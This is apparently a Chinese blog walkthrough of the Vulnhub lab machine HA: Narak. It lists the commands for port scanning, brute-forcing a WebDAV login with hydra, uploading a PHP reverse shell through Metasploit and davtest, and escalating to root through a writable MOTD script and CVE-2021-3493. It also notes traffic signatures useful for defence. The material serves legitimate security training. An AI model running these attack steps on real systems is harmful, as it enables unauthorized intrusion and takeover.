当前位置:网站首页>Vulnhub靶机:HA_ NARAK
Vulnhub靶机:HA_ NARAK
2022-08-05 06:40:00 【lainwith】
目录
介绍
系列:HA(此系列共17台)
发布日期:2020年9月23日
难度 : 中
目标: 取得 root 权限 + 2 Flag
注释: 使用爆破,使用vmware虚拟机运行
攻击方法:
- 主机发现
- 端口扫描
- 信息收集
- 密码字典定制
- 爆破密码
- webdav漏洞
- PUT方法上传
- BF语言解码
- MOTD注入
- CVE-2021-3493提权
靶机地址:https://www.vulnhub.com/entry/ha-narak,569/
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.239.0/24

主机信息探测
nmap -p- 192.168.239.136
nmap -p22,80 -sV -sC 192.168.239.136

网站探测
开局就是一些图片,没有什么有价值的信息,目录爆破吧。
目录爆破
分别进行了常规目录爆破,和文件后缀爆破,发现了需要登录的 webdav 页面,和一个小提示的文本文件
dirsearch -u http://192.168.239.136/ --full-url -x 403
gobuster dir -r -u http://192.168.239.136/ -x txt,html,php -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -e



提示文件利用
看到这个提示“creds.txt”的时候,我立即拿着它去浏览器中访问,然而web页面都显示没有这个文件,这让我想不通,网上查询了其他人的打靶笔记后,发现国内的很多人把这个文件定义为一个幌子,说这是靶机作者挖的坑,在忽悠人。在国外网络上,我专门搜索了“Hint to open the door of narak can be found in creds.txt.”在国外的靶机攻略中我发现这个文件是实现登录web页面的钥匙(虽然也可以通过爆破的手段登录web页面)。
国外文章给出的思路是,因为无法通过web目录发现creds.txt”,因此考虑端口扫描,然后发现 69/udp 端口运行着 TFTP 服务,既然如何,为什么nmap全端口扫描没有发现这个端口呢?
- 经过抓包分析得知,以下3条最常用的命令都是tcp的,完全没有udp的流量
nmap 192.168.239.136
nmap -p- 192.168.239.136
masscan -p1-65535 192.168.239.136 --rate=10000
- 为什么没有人用udp端口扫描?来就来个大的,我这里全端口扫描:
nmap -sU 192.168.239.136 -p-
历时一个小时,居然还没扫完,这还玩个蛋蛋!
如果修改一下命令,减少扫描范围呢?如下图,额,,,好吧,以后把UDP端口扫描纳入到常规检测步骤中。
连接tftp端口下载文件,经过base64解码得到 webdav 的登录密码。不过可能靶机作者也考虑到了这种信息搜集的姿势较为冷门,因此可以我们还可以通过爬取web页面来生成字典,实现登录框爆破
hydra爆破web密码
cewl http://192.168.239.136 -w wordlist.txt
hydra -L wordlist.txt -P wordlist.txt http-get://192.168.239.136/webdav

webdav漏洞
WebDAV是基于Web服务的扩展服务。它允许用户像操作本地文件一样,操作服务器上的文件。借助该功能,用户很方便的在网络上存储自己的文件。为了方便用户使用,通常会提供给用户较大的文件权限,如上传、修改甚至是执行权限。Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。
使用账号密码:yamdoot、Swarg,登录之后发现就这德行,怎么搞?有以下思路:
- 在web中间件漏洞汇总中,有webdav,可以去验证一波
- 在msf中搜索相关漏洞
- 使用专业攻击工具 davtest,DAVTest支持:
- 自动发送文件漏洞
- 目录自动随机帮助隐藏文件
- 发送文本文件,并尝试MOVE到可执行文件的名称
- 上传的文件自动清理
- 发送任意文件
- 使用专业工具 cadaver

手工-失败
很奇怪,直接把msf、cadaver 的流量照抄到bp中,仅仅修改个文件名,有时能上传成功,有时不能,极其不稳定

而如果你检查了OPTIONS方法之后,你会发现靶机不支持PUT方法,因此:
- 不能理解为什么OPTIONS方法查不到PUT,但是实际可以使用【下面用2种方式检查靶机支持的web方法】
- 为什么工具一传一个准,我照抄它们的流量,或者简单修改都不能上传



MSF
注意:一旦msf上传成功,就会在/webdav/目录下看到上传的文件,手工点击文件才能反弹shell成功!否则你会看到这样一句话:“Exploit completed, but no session was created”
search webdav
use exploit/windows/http/xampp_webdav_upload_php
set USERNAME yamdoot
set PASSWORD Swarg
set RHOSTS 192.168.239.136
exploit

davtest
DAVTest是Kali Linux提供的一款针对WebDAV服务的漏洞利用工具。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。
- 确认可以利用
测试了一下,davtest可以正常上传文件。它创建了一个名为“DavTestDir__U72M0dtN”的文件夹,并往里面上传了一些很多种扩展的文件,并且上传成功了。接着它测试了哪些文件可以正常解析,最后给出了上传成功和执行成功的文件。
- 上传反弹shell文件
找到反弹shell的php文件:/usr/share/webshells/php/php-reverse-shell.php
davtest -url http://192.168.239.136/webdav/ -auth yamdoot:Swarg -uploadfile /usr/share/webshells/php/php-reverse-shell.php -uploadloc rev.php
python3 -c 'import pty; pty.spawn("/bin/bash")'
下面两个参数要同时使用
-uploadfile:上传的文件路径
-uploadloc:文件上传到服务器上的名字

- 防御
davtest的流量特征非常明显,初次探测时,有如下2个强特征
- 请求方法
- 请求的ua
- 可以添加请求头,作为弱特征

上传文件有如下2个强特征
- davtest投递的文件,文件名默认是“DavTestDir”开头
- davtest的ua头
- 由于上传文件需要登录,因此
Authorization头部,这个特征是否检测看个人了

cadaver
- 介绍:
WEBDAV是基于HTTP 1.1的扩展协议,其支持使用PUT方法上传文件,基于这个特性可以实现功能强大的内容或配置管理系统。但丰富的功能特性总是会带来安全方面的更多隐患。Cadaver是一个文件上传漏洞的检测和验证工具,cadaver作为一个命令行形式的WEBDAV客户端程序,可以对相应服务器进行任何操作。
- 攻击:
上传文件,nc监听,获取反弹shell
- 防御:
ua特征明显
反弹shell
敏感信息收集-flag1

搜索权限配置不当文件
常规的提权手段无效,敏感信息收集无果,需要通过别的方式来扩大搜索。
通过如下命令搜索靶机上,文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件。然后就看到了一堆奇怪的字符,这些字符之前在别的靶机上面见到过:HACKNOS: OS-HACKNOS,访问如下网站即可解密:https://www.splitbrain.org/services/ook,当然,你也可以百度搜索这些奇怪字符,网上可以找到相关解密网站。
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

解密得到:chitragupt
切换身份-ssh欢迎信息引发提权
废了这么老大力气,得到一组密码,经过尝试,切换身份为 inferno,再来一波:
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

这里的提权思路很刁钻,通过上述命令搜索靶机上,文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件,结果发现了这些文件中有/etc/update-motd.d/00-header。当我ssh连接的时候看到了一个欢迎信息,这个欢迎信息就是/etc/update-motd.d/00-header脚本自动运行后才有的。
这个时候提权的思路就很多了,既可以反弹shell,也可以直接改写root的密码,我这里选择极为简便的改写root密码实现提权。
内核漏洞提权 CVE-2021-3493
非常老生成谈的一个提权漏洞了
下载exp:https://github.com/briskets/CVE-2021-3493


总结

边栏推荐
猜你喜欢

《PyTorch深度学习实践》第十一课(卷积神经网络CNN高级版)

游戏思考19:游戏多维计算相关:点乘、叉乘、点线面距离计算

typescript63-索引签名类型

边缘盒子+时序数据库,美的数字化平台 iBUILDING 背后的技术选型

typescript64-映射类型

一天学会从抓包到接口测试,通过智慧物业项目深度解析

Mysql为什么 建立数据库失败

Put Cloudflare on the website (take Tencent Cloud as an example)

Japan Sanitary Equipment Industry Association: Japan's warm water shower toilet seat shipments reached 100 million sets

Day9 of Hegong Daqiong team vision team training - camera calibration
随机推荐
UDP broadcast
性能提升400倍丨外汇掉期估值计算优化案例
二叉搜索树问题
Matplotlib plotting notes
MySQL:order by排序查询,group by分组查询
FPGA parsing B code----serial 4
JS控制只能输入数字并且最多允许小数点两位
17-VMware Horizon 2203 virtual desktop-Win10 manual desktop pool floating (seventeen)
【JVM调优】Xms和Xmx为什么要保持一致
长度以及颜色单位基本概念
2022 crane driver (limited bridge crane) exam question bank and simulation test
2022熔化焊接与热切割操作证考试题及模拟考试
Database table insert data
ndk编译so库
(4) Rotating object detection data roLabelImg to DOTA format
AH8669-AC380/VAC220V转降5V12V24V500MA内电源芯片IC方案
[Tool Configuration] Summary of Common Uses of VSCode
腾讯业务安全岗 IDP 谈话总结
日本卫生设备行业协会:日本温水喷淋马桶座出货量达1亿套
17-VMware Horizon 2203 虚拟桌面-Win10 手动桌面池浮动(十七)